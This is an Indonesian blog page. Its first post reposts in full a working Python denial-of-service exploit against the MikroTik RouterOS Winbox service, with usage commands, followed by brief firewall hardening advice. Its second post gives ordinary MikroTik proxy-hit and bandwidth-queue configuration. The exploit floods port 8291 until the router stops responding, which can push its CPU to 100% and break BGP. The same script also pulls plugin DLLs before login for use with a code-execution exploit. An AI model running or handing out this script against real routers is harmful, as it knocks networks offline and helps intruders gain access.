Sabtu, 05 Mei 2012

attack DoS Mikrotik RouterOS 2.9.6 - 5.15

Script Python : from http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/

http://www.exploit-db.com/exploits/18817/



#!/usr/bin/python
# Exploit Title:    Mikrotik Router Remote Denial Of Service attack
# Date:             19/4/2012
# Author:           PoURaN @ 133tsec.com
# Software Link:    http://www.mikrotik.com
# Version:          All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)
# Tested on:        Mikrotis RouterOS 2.9.6 up to 5.15
#
#  Vulnerability Description
# ===========================
# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/
# The denial of service, happens on mikrotik router's winbox service when
# the attacker is requesting continuesly a part of a .dll/plugin file, so the service
# becomes unstable causing every remote clients (with winbox) to disconnect
# and denies to accept any further connections. That happens for about 5 minutes. After
# the 5 minutes, winbox is stable again, being able to accept new connections.
# If you send the malicious packet in a loop (requesting  part of a file right after
# the service becoming available again) then you result in a 100% denial of winbox service.
# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%
# and other actions. The "other actions" depends on the router version and on the hardware.
# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure
#   => Mikrotik Router v2.9.6 there was a BGP failure
#   => Mikrotik Router v4.13 unstable wifi links
#   => Mikrotik Router v5.14/5.15 rarely stacking
#   =>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=
#
#
#  The exploit
# =============
# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins
# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE
# user login!
# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).
# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one
# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.
# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they
# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)
# These DLLs can be used by the "Winbox remote code execution" exploit script ;)
#
#  Usage
# =======
# Use the script as described below:
# 1. You can download ALL the files of the router's dll index using the following command:
#   python mkDl.py 10.0.0.1 * 1
#   the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving
#   information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use
#   a slower speed ( 9 for example ).
#   Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)
# 2. You can download a specific .dll file from the remote router.
#   python mkDl.py 10.67.162.1 roteros.dll 1
#   In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)
#   Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)
#   That is a restriction of winbox communication protocol.
#   If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c
#   to stop the script.
# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)
#   python mkDl.py 10.67.162.1 DoS
#   This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request
#   and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)
#   Then it waits till the service is up again (using some exception handling), then it requests again till the remote
#   service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about
#   5 minutes as far as i have seen from my tests in different routeros versions.
#
#   <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>
#
import socket, sys, os, struct, random, time
 
def InitConnection(mikrotikIP, speed):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((mikrotikIP, 8291))
    s.send(winboxStartingIndex)
    data = s.recv(1024)         # receiving dll index from server
    time.sleep(0.001*speed)
    if data.find("\xFF\x02"+"index"+"\x00") > -1:
        print "[+] Index received!"
    else:
        print "[+] Wrong index.. Exiting.."
        sys.exit(0)
    return s
 
def download(filename, speed, s):
    f = open(filename, 'wb')
    if len(filename) < 13 and len(filename) > 6:
        print "[+] Requesting file ", filename, ' <->'
        winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
        s.send(winboxStartingFileReq)
        time.sleep(0.001*speed)
        dataReceived = s.recv(1)
        if dataReceived[0:1]=='\xFF':
            print "[+] Receiving the file..."
            f.write(dataReceived)                       # written 1st byte
            time.sleep(0.001*speed)
            dataReceived = s.recv(0x101)                # 0x100 + 1
            nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
            if dataReceived[0:1]=='\x02':
                time.sleep(0.001*speed)
                f.write(dataReceived)                   # written 1st chunk 0x102 bytes with header in file.
                dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)
                bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
                f.write(dataReceived)                   # write the next 0x102 bytes (total 0x102+0x102 in file)
            else:
                print "[-] Wrong data received..(2)"
                sys.exit(0)
        else:
            print "[-] Wrong data received..(1)"
            sys.exit(0)
         
        finalPart=0
        bigFileCounter = 0xFFED
        packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0
        fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.
        while 1:                                # header of file done.. Now LOOP the body..
            packetsCounted+=1   # dbg
            time.sleep(0.001*speed)
            dataReceived = s.recv(bytesToRead)
            f.write(dataReceived)
            if (bytesToRead <> len(dataReceived)) and packetsCounted==255:    # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume
                packetsCounted = -1
                print '[+] Next file part : ', fileRequested
                s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))
                time.sleep(0.001*speed)
                dataReceived = s.recv(0x101 + 2)            # Reads the new header of the new part!!!
                nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
                f.write(dataReceived)
                bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)
                fileRequested += 1
                bigFileCounter -= 0x13
            bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)      # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..
            if bytesToRead==0xFF:           # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei
                bytesToRead += 2
            if bytesToRead != 0x101 and nextPartFingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file
                time.sleep(0.001*speed)
                dataReceived = s.recv(bytesToRead)
                f.write(dataReceived)
                break
            if bytesToRead != 0x101 and nextPartFingerprint==65517:     # ligotera bytes KAI fingerprint 65517 simainei corrupted file..
                print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'
                sys.exit(0)
        if fileRequested < 1:    print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'
        else:   print '[+] File '+filename+' downloaded successfully'
    f.close()
    s.close()
 
     
def Flood(s):
    filename = 'roteros.dll'
    f = 'we\'r not gonna use I/O to store the data'
    print "[+] Requesting file ", filename, ' till death :)'
    time.sleep(1)
    winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
    s.send(winboxStartingFileReq)
    time.sleep(0.001)
    dataReceived = s.recv(1)
    if dataReceived[0:1]=='\xFF':
        f = dataReceived                        # written 1st byte
        time.sleep(0.001)
        dataReceived = s.recv(0x101)                # 0x100 + 1
        nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
        if dataReceived[0:1]=='\x02':
            time.sleep(0.001)
            f = dataReceived                    # written 1st chunk 0x102 bytes with header in file.
            dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)
            bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
            f = dataReceived                    # write the next 0x102 bytes (total 0x102+0x102 in file)
        else:
            print "[-] Wrong data received..(2)"
            sys.exit(0)
    else:
        print "[-] Wrong data received..(1)"
        sys.exit(0)
     
    finalPart=0
    bigFileCounter = 0xFFED
    packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0
    fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.
    try:
        while 1:
            s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))
            s.recv(1)
            print '- Sending evil packet.. press CTRL-C to stop -'
    except:
        print 'Connection reseted by server.. trying attacking again'
 
 
###############################################################################################################
########################################### SCRIPT BODY STARTS HERE ###########################################
global RequestHeader
RequestHeader = ('\x12\x02')
global RequestFirstFooter
RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')
 
global winboxStartingIndex
winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)
winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)
 
print '\n[Winbox plugin downloader]\n\n'
 
if len(sys.argv)==3:
    if sys.argv[2]=='DoS':                          # if i combine both checks in 1st if, there will be error.. guess why.. ;)
        print '[+] Hmmm we gonna attack it..'
        time.sleep(1)
        speed=1
        mikrotikIP = sys.argv[1]
        filename = sys.argv[2]
        while 1:
            time.sleep(1)
            try:
                s = InitConnection(mikrotikIP, speed)
                Flood(s)
            except:
                time.sleep(1)
 
if len(sys.argv)<>4:
    print 'Usage : '+sys.argv[0]+' \n\t:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'
    sys.exit(0)
 
mikrotikIP = sys.argv[1]
filename = sys.argv[2]
speed = int(sys.argv[3])
if speed>9 or speed<1:
    print 'Speed must be between 1 and 9 else there are unexpected results!'
    sys.exit(0)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((mikrotikIP, 8291))
s.send(winboxStartingIndex)
data = s.recv(1024)         # receiving dll index from server
s.close()
 
if filename.find('*') > -1:
    DllList = data.split('\x0a')
    print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'
    for i in range(0, len(DllList)-1):
        print DllList[i].split(' ')[2]
    raw_input('> Press enter to continue <')
    for extractedDlls in range(0, len(DllList)-1):
        print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]
        filename=DllList[extractedDlls].split(' ')[2]
        s = InitConnection(mikrotikIP, speed)
        download(filename, speed, s)
else:
    s = InitConnection(mikrotikIP, speed)
    download(filename, speed, s)


 

---------

howto used:  #python mikrotikdos.py dos
 

------


How to protected :


1. change port 8921 (winbox) to others port (ex: 8999)
2. make script protected firewall, ex:


add action=add-src-to-address-list address-list=DDOS address-list-timeout=15s \
chain=input disabled=no dst-port=1337 protocol=tcp
add action=add-src-to-address-list address-list=DDOS address-list-timeout=15m \
chain=input disabled=no dst-port=7331 protocol=tcp src-address-list=knock
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”Port scanners to list ” \
disabled=no protocol=tcp psd=21,3s,3,1
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/FIN scan” disabled=no \
protocol=tcp tcp-flags=fin,syn
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/RST scan” disabled=no \
protocol=tcp tcp-flags=syn,rst
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”FIN/PSH/URG scan” disabled=\
no protocol=tcp tcp-flags=fin,psh,urg,!syn,!rst,!ack
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”ALL/ALL scan” disabled=no \
protocol=tcp tcp-flags=fin,syn,rst,psh,ack,urg
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”NMAP NULL scan” disabled=no \
protocol=tcp tcp-flags=!fin,!syn,!rst,!psh,!ack,!urg





Kamis, 05 April 2012

external proxy + mikrotik


For external Proxy setting .. ( external proxy and mikrotik )
Study Kasus, Mohon diperhatikan :
  1. Semua aktifitas user port 80, 81, 8080 dan 3128 di belokkan ke proxy, jika proxy belum mengcache maka si proxy akan mengambil dari Modem(internet), menyimpan di cache sekaligus menjawab request dari user.
  2. Aktivitas user selain port 80, 81, 8080 dan 3128 akan melewati jalur menuju arah modem [download dari FTP ata dari P2P => jika akses P2P tidak di blok]

Dari 2 study kasus di atas muncullah pemikiran, bahwa :
  1. Semua akses ke arah Modem harus di limit agar ada BW dapat tersisa yg bisa di gunakan untuk GAME online mengingat port game tidak di belokkan ke proxy squid.
  2. Sedangkan akses antara Proxy Squid dan User di LOSS agar terjadi HIT atau transfer packet yg udah ada di cache proxy dapat di nikmati LOSS oleh user.
Dari alur pemikiran itu sang ubur cumi menggasilkan beberapa baris untuk mendapatkan proxy hit dari external proxy. Dan membatasi akses user kemodem yang berarti juga memberikan akses yang lebih leluasa untuk game yang nota bene tidak di lewatkan melalui proxy.

Script ubur cumi seperti di bawah ini

PROXY HIT LOSS
/ip firewall mangle

add action=mark-connection chain=forward comment=Proxy_HIT \
disabled=no in-interface=Proxy new-connection-mark=Hit\
out-interface=Lokal passthrough=yes protocol=tcp

add action=mark-packet chain=forward comment="" connection-mark=Hit\
disabled=no in-interface=Proxy new-packet-mark=Proxy Hit\
out-interface=Lokal passthrough=no protocol=tcp

/queue tree

add burst-limit=0 burst-threshold=0 burst-time=0s disabled=no\
limit-at=0 max-limit=0 name=.:Proxy Hit:. packet-mark=Hit\
parent=global-out priority=1 queue=default
Nah itu dia proxy hit untuk meloloskan paket agar tidak terlimit oleh mikrotik, namun si ubur masih belum puas dengan hal tersebut dan muncullah pikiran lainnyah bahwa koneksi ke modem dari user atau dari user ke modem harus juga di batasi.

Dan muncullah script di bawah ini

2. Limit Aktifitas modem - user
/ip firewall mangle

add action=mark-connection chain=forward \
comment=DownloadfromLan connection-bytes=256000-4294967295\
disabled=no in-interface=Modem new-connection-mark=DownLan\
out-interface=Lokal passthrough=yes protocol=tcp

add action=mark-packet chain=forward comment="" \
connection-mark=Down Lan disabled=no \
in-interface=Modem new-packet-mark=DownloadLan\
out-interface=Lokal passthrough=no protocol=tcp

/que ty

add kind=pcq name=Download pcq-classifier=dst-address \
pcq-limit=50 pcq-rate=128000 pcq-total-limit=2000

/que tr
add burst-limit=0 burst-threshold=0 burst-time=0s \
disabled=no limit-at=0 max-limit=256000 name=LimitDownloadformLan\
packet-mark=DownloadLan parent=global-out priority=8 queue=Download
Pendapat ubur cumi tidak hanya sampai disitu masih adalagi yang lain. Apa itu ?
Yakni Aktifitas modem ke proxy harus dibatasi. Lalu muncullah script yang dibuat uburcumi
/ip firewall mangle

add action=mark-connection chain=forward comment=DownloadfromProxy\
connection-bytes=256000-4294967295 disabled=no in-interface=Modem \
new-connection-mark=Down Proxy out-interface=Proxy\
passthrough=yes protocol=tcp

add action=mark-packet chain=forward comment=""\
connection-mark=Down Proxy\ disabled=no in-interface=Modem \
new-packet-mark=DownloadProxy out-interface=Proxy \
passthrough=no protocol=tcp

/que ty
add kind=pcq name=Download pcq-classifier=dst-address pcq-limit=50\
pcq-rate=128000 pcq-total-limit=2000

/que tr
add burst-limit=0 burst-threshold=0 burst-time=0s disabled=no limit-at=0 \
max-limit=256000 name=Limit DownloadfromProxy\
packet-mark=DownloadProxy parent=global-out priority=8 queue=Download
Apakah ubur cumi berhenti sampai disitu ?. Ternyata tidak. Ubur cumi malah menambahi sedikit lagi scriptnya sebelum di ulas oleh userlain di forummikrotik.com

ini dia kata uburcumi

kalo gw di RB750G buat hotspot mark HIT make DSCP sama content kurang maknyus ya. tapi pas make layer 7 lumayan tanya kenapa?
http/(0\.9|1\.0|1\.1)[\x09-\x0d ][1-5][0-9][0-9][\x09-\x0d -~]*(x-cache: hit)
mungkin ada yg mau coba2 mark hit make Layer 7?
thank UBUR